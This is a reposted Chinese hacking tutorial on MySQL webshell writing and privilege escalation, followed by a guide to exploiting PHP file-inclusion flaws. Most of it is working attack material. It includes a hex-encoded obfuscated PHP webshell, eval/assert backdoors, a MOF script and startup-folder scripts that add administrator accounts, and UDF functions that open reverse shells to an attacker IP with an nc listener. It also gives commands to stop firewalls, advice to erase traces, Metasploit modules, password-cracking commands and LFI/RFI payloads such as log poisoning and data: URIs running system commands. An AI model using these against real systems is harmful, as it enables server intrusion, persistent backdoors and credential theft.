select unhex('203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E') into dumpfile 'D:/WEB/IPTEST/22.php'

注意:

也可以使用http://tool.lu/hexstr/网站的代码转换来实现,将需要导出的文件代码复制到网站的字符串中,通过字符串转成十六进制,将十六进制字符串放入unhex函数进行查询即可:

select unhex('十六进制字符串') into dumpfile 'D:/WEB/shell.php'

7.CMS系统获取webshell

有些情况下无法获取网站的真实路径,则意味着无法直接导出一句话webshell,可以通过CMS系统管理账号登录系统后,寻找漏洞来突破,例如dedecms则可以通过破解管理员账号后直接上传文件来获取webshell。Discuz!的UC_key可以直接获取webshell。甚至某些系统可以直接上传php文件。下面是一些CMS系统渗透的技巧:

(1)dedecms系统的密码有直接md5,也有20位的密码,如果是20位的密码则需要去掉密码中的前3位和最后1位,然后对剩余的值进行md5解密即可;

(2)phpcms v9版本的密码需要加salt进行破解,需要选择破解算法md5(md5($pass).$salt)进行破解。

(3)Discuz!论坛帐号保存在ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要带salt进行,其破解时是使用password:salt进行,例如a0513df9929afc972f024fa4e586e829:399793

8.general_log_file获取webshell

(1)查看genera文件配置情况

show global variables like "%genera%";

(2)关闭general_log

set global general_log=off;

(3)通过general_log选项来获取webshell

set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/cmd.php';

在查询中执行语句:

SELECT '<?php assert($_POST["cmd"]);?>';

Shell为cmd.php,一句话后门,密码为cmd。

1.3.2sqlmap注入点获取webshell

sqlmap注入点获取webshell的前提是具备写权限,一般是root账号,通过执行命令来获取:

sqlmap -u url--os-shell

echo "<?php @eval($_POST['c']);?>" >/data/www/1.php

1.4Mysql提权

1.4.1mof提权

1.Webshell上传mof文件提权

MySQL Root权限MOF方法提权是来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/),简称mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

方法1:运行 MOF 文件指定为命令行参数 Mofcomp.exe 文件。
方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。
方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用IMofCompiler::CompileFile方法。第三种方法仅为向后兼容性与早期版本的 WMI提供,并因为此功能可能不会提供在将来的版本后,不应使用。注意使用MOF方法提权的前提是当前Root帐号可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下,否则会失败!

该漏洞的利用前提条件是必须具备mysql的root权限,在Kingcope公布的0day中公布了一个pl利用脚本。

perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555

192.168.2.100为mysql数据库所在服务器,mysql口令为空,反弹到192.168.2.150的5555端口上。

2.生成nullevt.mof文件

将以下代码保存为nullevt.mof文件:

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter

{ 

EventNamespace = "Root\\Cimv2"; 

Name  = "filtP2"; 

    Query = "Select \ From __InstanceModificationEvent " 

            "Where TargetInstance Isa \"Win32_LocalTime\" " 

            "And TargetInstance.Second = 5"; 

QueryLanguage = "WQL"; 

}; 



instance of ActiveScriptEventConsumer as $Consumer 

{ 

    Name = "consPCSV2"; 

ScriptingEngine = "JScript"; 

ScriptText = 

    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")"; 

}; 

instance of __FilterToConsumerBinding

{ 

    Consumer   = $Consumer; 

    Filter = $EventFilter; 

};

3.通过Mysql查询将文件导入

执行以下查询语句,将上面生成的nullevt.mof导入到c:\windows\system32\wbem\mof\目录下在windows7中默认是拒绝访问的。导入后系统会自动运行,执行命令。

selectload_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

1.4.2.Msf直接mof提权

Msf下的exploit/windows/mysql/mysql_mof模块提供了直接Mof提权,不过该漏洞成功跟操作系统权限和Mysql数据库版本有关,执行成功后会直接反弹shell到meterpreter。

use exploit/windows/mysql/mysql_mof
set rhost 192.168.157.1 //设置需要提权的远程主机IP地址
set rport 3306 //设置mysql的远程端口
set password root //设置mysql数据库root密码
set username root //设置mysql用户名
options //查看设置
run 0

技巧:

要是能够通过网页连接管理(phpmyadmin),则可以修改host%并刷新权限后,则可以通过msf等工具远程连接数据库。默认root等账号不允许远程连接,除非管理员或者数据库用户自己设置。

方法1:本地登入mysql,更改 mysql数据库里的 user 表里的 host项,将localhost改为%

use mysql;
update user set host = '%' where user = 'root';
FLUSH PRIVILEGES ;
select host, user from user;

方法2:直接授权(推荐)

从任何主机上使用root用户,密码:youpassword(你的root密码)连接到mysql服务器:

# mysql -u root -proot
GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;
FLUSH PRIVILEGES;

推荐重新增加一个用户,在实际测试过程中发现很多服务器使用root配置了多个地址,修改后可能会影响实际系统的运行。在实际测试过程中因此建议新增一个用户,授权所有权限,而不是直接更改root配置。

1.4.3UDF提权

UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限,其利用条件是目标系统是Windows(Win2000,XP,Win2003);拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数,有root账号密码

Windows下UDF提权对于Windows2008以下服务器比较适用,也即针对Windows2000、Windows2003的成功率较高。

1.UDF提权条件

(1)Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。

(2)Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32

(3)掌握的mysql数据库的账号有对mysqlinsertdelete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。

(4)可以将udf.dll写入到相应目录的权限。

2.提权方法

(1)获取数据库版本、数据位置以及插件位置等信息

select version();//获取数据库版本
select user();//获取数据库用户
select @@basedir ;//获取安装目录
show variables like '%plugins%';  //寻找mysql安装路径

(2)导出路径

C:\Winnt\udf.dll    Windows 2000
C:\Windows\udf.dll   Windows2003(有的系统被转义,需要改为C:Windowsudf.dll)

MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的libplugin文件夹下才能创建自定义函数。该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建libplugin文件夹,然后将udf.dll文件导出到该目录即可。

在某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,网上大牛发现利用NTFS ADS流来创建文件夹的方法:

select @@basedir;  //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';   //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录

执行成功以后就会plugin目录,然后再进行导出udf.dll即可。

(3)创建cmdshell 函数,该函数叫什么名字在后续中则使用该函数进行查询:

create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;

(4)执行命令:

select sys_eval(‘whoami’);

一般情况下不会出现创建不成功哦。

连不上3389可以先停止windows防火墙和筛选

select sys_eval(‘net stop policyagent’);
select sys_eval(‘net stop sharedaccess’);

udf.dll下常见函数:

cmdshell  执行cmd;
downloader  下载者,到网上下载指定文件并保存到指定目录;
open3389    通用开3389终端服务,可指定端口(不改端口无需重启);
backshell   反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread     读注册表;
regwrite    写注册表;
shut        关机,注销,重启;
about       说明与帮助函数;

具体用户示例:

select cmdshell('net user iis_user 123!@#abcABC /add');
select cmdshell('net localgroup administrators iis_user /add');
select cmdshell('regedit /s d:web3389.reg');
select cmdshell('netstat -an');

(5)清除痕迹

drop function cmdshell;//将函数删除

删除udf.dll文件以及其它相关入侵文件及日志。

(6)常见错误

1290 – The MySQL server is running with the –secure-file-priv option so it cannot execute this statement

my.ini或者mysql.cnf文件中注销 (使用#号) 包含secure_file_priv的行(SHOW VARIABLES LIKE "secure_file_priv")。

1123 – Can’t initialize function ‘backshell’; UDFs are unavailable with the –skip-grant-tables option

需要将my.ini中的skip-grant-tables选项去掉。

3.webshell下udf提权

通过集成udf提权的webshell输入数据库用户名及密码以及数据库服务器地址或者IP通过连接后导出进行提权。

4.Mysql提权综合利用工具

v5est0r 写了一个Mysql提权综合利用工具,详细情况请参考其代码共享网站:https://github.com/v5est0r/Python_FuckMySQL其主要功能有:

(1)自动导出你的backdoor和mof文件
(2)自动判断mysql版本,根据版本不同导出UDF的DLL到不同目录,UDF提权
(3)导出LPK.dll文件,劫持系统目录提权
(4)写启动项提权

UdF自动提权:

python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf

LPK劫持提权:

python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk

启动项提权:

python root.py -a 127.0.0.1 -p root -e "ver&whoami" –mst

例如通过LOAD_FILE来查看Mysql配置文件my.ini,如果其中配置了skip-grant-tables,这无法进行提权

1.6.3无法获取webshell提权

1.连接mysql

(1)mysql.exe -h ip -uroot -p
(2)phpmyadmin
(3)Navicat for MySQL

2.查看数据库版本和数据路径

SELECT VERSION( );
Select @@datadir;
5.1以下版本,将dll导入到c:/windows或者c:/windows/system32/
5.1以上版本 通过以下查询来获取插件路径:
SHOW VARIABLES WHERE Variable_Name LIKE "%dir";
show variables like '%plugin%' ;
select load_file('C:/phpStudy/Apache/conf/httpd.conf')
select load_file('C:/phpStudy/Apache/conf/vhosts.conf')
select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf')
select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf')
select load_file('d:/phpStudy/Apache/conf/vhosts.conf')

3.修改mysql.txt

Mysql.txt为udf.dll的二进制文件转成十六进制代码。

(1)先执行导入ghost表中的内容

修改以下代码的末尾代码 select backshell(“YourIP”,4444);

(2)导出文件到某个目录

select data from Ghost into dumpfile 'c:/windows/mysqldll.dll'; 
select data from Ghost into dumpfile 'c:/windows/system32/mysqldll'; 
select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll'; 
select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll'; 
select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll' 
select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll'; 
select load_file('C:/ProgramData/MySQL/MySQL Server 5.1/Data/mysql/user.frm');
select data from Ghost into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll'

(3)查看FUNCTION中是否存在cmdshell和backshell

存在则删除:

drop FUNCTION cmdshell;//删除cmdshell
drop FUNCTION backshell;//删除backshell

创建backshell:

CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell

在具备独立主机的服务器上执行监听:

nc -vv -l -p 44444

执行查询:

select backshell("192.192.192.1",44444);//修改192.192.192.1为你的IP和端口

4.获取webshell后添加用户命令

注意如果不能直接执行,则需要到c:\windows\system32\下执行

net user antian365 www.xianzhi.aliyun.com /add 

net localgroup administrators antian365

1.6.4sqlmap直连数据库提权

Sqlmap直接连接数据库提权,需要有写入权限和root账号及密码,命令如下:

(1)连接数据库

sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell

(2)选择操作系统的架构,32位操作系统选择1,64位选择2.

(3)自动上传udf或提示os-shell

(4)执行whomai命令如果获取系统权限,则表示提权成功。

4.msfudf提权

Kali渗透测试平台下执行(kali下载地https://www.kali.org/downloads/):

msfconsole
use exploit/windows/mysql/mysql_payload
options
set rhost 192.168.2.1
set rport 3306
set username root
set password 123456
run 0或者exploit

msf下udf提权成功率并不高,跟windows操作系统版本,权限和数据库版本有关,特别是secure-file-priv选项,如果有该选项基本不会成功。

1.6.4启动项提权

1.创建表并插入vbs脚本到表中

依次使用以下命令:

show databases ;
use test;
show tables;
create table a (cmd text); 
insert into a values ("set wshshell=createobject (""wscript.shell"" ) " ); 
insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)") ;
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " ); 
select \ from a;
  1. 导出vbs脚本到启动

使用以下命令将刚才在a表中创建的vbs脚本导出到启动选项中。

select \ from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

导入成功后,系统重新启动时会自动添加密码为“1”且用户名称为“1”的用户到管理员组中。在实际使用过程中该脚本成功执行的几率比较低,有时候会出现不能导出的错误.

推荐使用以下脚本:

show databases ;
use test;
show tables;
create table b (cmd text); 
insert into b values ("net user Aspnet123545345! /add");
insert into b values ("net localgroup administrators Aspnet /add");
insert into b values ("del b.bat");
select  from b into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\b.bat";

该脚本执行后虽然会闪现Dos窗口,如果有权限导入到启动选项中,则一定会执行成功,在虚拟机中通过MySQL连接器连接并执行以上命令后,在C:\Documents and Settings\All Users\「开始」菜单\程序\启动目录中会有刚才导出的b.bat脚本文件

说明

在不同的操作系统中C:\Documents and Settings\All Users\「开始」菜单\程序\启动目录文件名称可能会不同,这个时候就要将其目录换成相应的目录名称即可。例如如果是英文版本操作系统则其插入的代码为:

select  from b into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\b.bat";

Windows 2008 Server的启动目录为:

C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs

其vbs方法可以参考如下写法:

create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators antian365 /add"",0) " );
select \ from a into outfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs";

3.msf下模块exploit/windows/mysql/mysql_start_up提权

use exploit/windows/mysql/mysql_start_up
set rhost 192.168.2.1
set rport 3306
set username root
set password 123456
run

msfmysql_start_up提权有一定的几率,对英文版系统支持较好。

1.7Msf其它相关漏洞提权

1.Mysql身份认证漏洞及利用(CVE-2012-2122)

当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。受影响的产品: All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞.

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23不存在漏洞.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not不存在漏洞.

use auxiliary/scanner/mysql/mysql_authbypass_hashdump

2.exploit/windows/mysql/mysql_yassl_hello
3.exploit/windows/mysql/scrutinizer_upload_exec

1.8.mysql密码破解

1.8.1cain工具破解mysql密码

使用UltraEdit-32编辑器直接打开user.MYD文件,打开后使用二进制模式进行查看,在root用户后面是一串字符串,选中这些字符串将其复制到记事本中,这些字符串即为用户加密值,例如506D1427F6F61696B4501445C90624897266DAE3。

注意:

(1)root后面的“”不要复制到字符串中。

(2)在有些情况下需要往后面看看,否则得到的不是完整的MYSQLSHA1密码,总之其正确的密码位数是40位。

安装cain工具,使用cracker,右键单击“Add tolist”将Mysql Hashes值加入到破解列表中,使用软件中的字典、暴力破解等方式来进行暴力破解。

1.8.2网站在线密码破解

1.cmd5.com破解。将获取的mysql值放在cmd5.com网站中进行查询,mysql密码一般都是收费的。

2.somd5.com破解。Somd5.com是后面出现的一个免费破解网站,每次破解需要手工选择图形码进行破解,速度快,效果好,只是每次只能破解一个,而且破解一次后需要重新输入验证码。

1.8.3oclhash破解

hashcat支持很多种破解算法,免费开源软件,官方网站https://hashcat.net/hashcat/,破解命令:

hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323类型

hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5类型

1.8.4 John the Ripper password cracker

John the Ripper下载地址:http://www.openwall.com/john/h/john179w2.zip,John the Ripper除了能够破解linux外,还能破解多种格式的密码。

Echo 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txt
John –format =mysql-sha1 hashes.txt
john --list=formats | grep mysql //查看支持mysql密码破解的算法

此文章来源于
https://www.ddosi.com/2017/11/18/漏洞利用/
2018年以前网站服务器的备份,当时决定不要了,删了所有东西,现在还原一下(有些图片挂了,永远找不回来了,sorry) from

php文件包含漏洞 编码绕过 0字节截断

$
0
0

php文件包含漏洞 编码绕过 0字节截断

目录
基本
相关函数<>
场景
分类
LFI(Local File Inclusion)
RFI(Remote File Inclusion)
包含姿势
php伪协议
php://input
php://filter
phar://
zip://
data:URI schema
包含session
包含日志
访问日志
SSH log
包含environ
包含fd
包含临时文件
包含上传文件
其余
绕过姿势
指定前缀
目录遍历
编码绕过
指定后缀
URL
利用协议
长度截断
0字节截断
防御方案
Refference

基本

相关函数<>

php中引发文件包含漏洞的通常是以下四个函数:

  1. include()
  2. include_once()
  3. require()
  4. require_once()
php文件包含漏洞

reuqire() 如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句。

php文件包含漏洞

include() 如果出错的话,只会提出警告,会继续执行后续语句。

require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。

当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。测试代码:

<?php
    $file = $_GET['file'];
    include $file;
?>

在同目录下有个phpinfo.txt,其内容为<? phpinfo(); ?>。则只需要访问:

index.php?file=phpinfo.txt
php文件包含漏洞

即可成功解析phpinfo。

场景

  1. 具有相关的文件包含函数。
  2. 文件包含函数中存在动态变量,比如 include $file;
  3. 攻击者能够控制该变量,比如$file = $_GET['file'];

分类

LFI(Local File Inclusion)

本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。简单的测试用例如前所示。

RFI(Remote File Inclusion)

远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置

  1. allow_url_fopen = On
  2. allow_url_include = On
php文件包含漏洞

两个配置选项均需要为On,才能远程包含文件成功。

在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。

包含姿势

下面例子中测试代码均为:

<?php
    $file = $_GET['file'];
    include $file;
?>

allow_url_fopen 默认为 On
allow_url_include 默认为 Off

若有特殊要求,会在利用条件里指出。

php伪协议

php://input

利用条件:

  1. allow_url_include = On。
  2. 对allow_url_fopen不做要求。

姿势:

index.php
?file=php://input

POST:
<? phpinfo();?>
php文件包含漏洞

php://filter

利用条件:无甚

姿势:

index.php?file=php://filter/read=convert.base64-encode/resource=index.php
php文件包含漏洞

通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。

>>> import base64
>>> base64.b64decode("PD9waHAgDQoJJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KCWluY2x1ZGUgJGZpbGU7DQo/Pg==")
b"<?php \r\n\t$file = $_GET['file'];\r\n\tinclude $file;\r\n?>"

其他姿势:

index.php?file=php://filter/convert.base64-encode/resource=index.php

效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用。

phar://

利用条件:

  1. php版本大于等于php5.3.0

姿势:

php文件包含漏洞

假设有个文件phpinfo.txt,其内容为<?php phpinfo(); ?>,打包成zip压缩包,如下:

指定绝对路径

index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt

或者使用相对路径(这里test.zip就在当前目录下)

index.php?file=phar://test.zip/phpinfo.txt
php文件包含漏洞

zip://

利用条件:

  1. php版本大于等于php5.3.0

姿势:
构造zip包的方法同phar。

但使用zip协议,需要指定绝对路径,同时将#编码为%23,之后填上压缩包内的文件。

index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt
php文件包含漏洞

若是使用相对路径,则会包含失败。

data:URI schema

利用条件:

  1. php版本大于等于php5.2
  2. allow_url_fopen = On
  3. allow_url_include = On

姿势一:

index.php?file=data:text/plain,<?php phpinfo();?>
php文件包含漏洞

执行命令:

index.php?file=data:text/plain,<?php system('whoami');?>

姿势二:

index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
php文件包含漏洞

加号+的url编码为%2bPD9waHAgcGhwaW5mbygpOz8+的base64解码为:<?php phpinfo();?>

执行命令:

index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

其中PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==的base64解码为:<?php system('whoami');?>

包含session

利用条件:session文件路径已知,且其中内容部分可控。

姿势:

php文件包含漏洞

php的session文件的保存路径可以在phpinfo的session.save_path看到。

常见的php-session存放位置:

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID
php文件包含漏洞

session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。

要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。

比如这篇文章:透過 LFI 引入 PHP session 檔案觸發 RCE

包含日志

访问日志

利用条件: 需要知道服务器日志的存储路径,且日志文件可读。

姿势:

很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。

php文件包含漏洞

但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。

php文件包含漏洞

正常的php代码已经写入了 /var/log/apache2/access.log。然后进行包含即可。

在一些场景中,log的地址是被修改掉的。你可以通过读取相应的配置文件后,再进行包含。

这里提供一道包含日志的CTF题目:SHACTF-2017- Bon Appétit (100)-writeup

SSH log

利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log

姿势:

用ssh连接:

ubuntu@VM-207-93-ubuntu:~$ ssh '<?php phpinfo(); ?>'@remotehost

之后会提示输入密码等等,随便输入。

php文件包含漏洞

然后在remotehost的ssh-log中即可写入php代码:

之后进行文件包含即可。

参考:RCE with LFI and SSH Log Poisoning

包含environ

利用条件:

  1. php以cgi方式运行,这样environ才会保持UA头。
  2. environ文件存储位置已知,且environ文件可读。

姿势:

proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。

可以参考这个:

  1. The proc/self/environ Injection
  2. shell via LFI – proc/self/environ method

包含fd

跟包含environ类似。

参考: LFI Cheat Sheet:/proc/self/environ LFI Method

包含临时文件

php文件包含漏洞

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考LFI With PHPInfo Assistance

类似利用临时文件的存在,竞争时间去包含的,可以看看这道CTF题:XMAN夏令营-2017-babyweb-writeup

包含上传文件

利用条件:千变万化,不过至少得知道上传的文件在哪,叫啥名字。。。

姿势:

往往要配合上传的姿势,不说了,太多了。

其余

一个web服务往往会用到多个其他服务,比如ftp服务,数据库等等。这些应用也会产生相应的文件,但这就需要具体情况具体分析咯。这里就不展开了。

绕过姿势

接下来聊聊绕过姿势。平常碰到的情况肯定不会是简简单单的include $_GET['file'];这样直接把变量传入包含函数的。在很多时候包含的变量/文件不是完全可控的,比如下面这段代码指定了前缀和后缀:

<?php
    $file = $_GET['file'];
    include '/var/www/html/'.$file.'/test/test.php';
?>

这样就很“难”直接去包含前面提到的种种文件。

指定前缀

先考虑一下指定了前缀的情况吧。测试代码:

<?php
    $file = $_GET['file'];
    include '/var/www/html/'.$file;
?>

目录遍历

这个最简单了,简要的提一下。

现在在/var/log/test.txt文件中有php代码<?php phpinfo();?>,则利用../可以进行目录遍历,比如我们尝试访问:

include.php?file=../../log/test.txt

则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,也即/var/log/test.txt。从而包含成功。

php文件包含漏洞

编码绕过

服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。下面这些总结来自《白帽子讲Web安全》。

  • 利用url编码
    • ../
      • %2e%2e%2f
      • ..%2f
      • %2e%2e/
    • ..\
      • %2e%2e%5c
      • ..%5c
      • %2e%2e\
  • 二次编码
    • ../
      • %252e%252e%252f
    • ..\
      • %252e%252e%255c
  • 容器/服务器的编码方式

指定后缀

接着考虑指定后缀的情况。测试代码:

<?php
    $file = $_GET['file'];
    include $file.'/test/test.php';
?>

URL

url格式

protocol :// hostname[:port] / path / [;parameters][?query]#fragment

在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。

姿势一:query(?)

index.php?file=http://remoteaddr/remoteinfo.txt?
php文件包含漏洞

则包含的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php
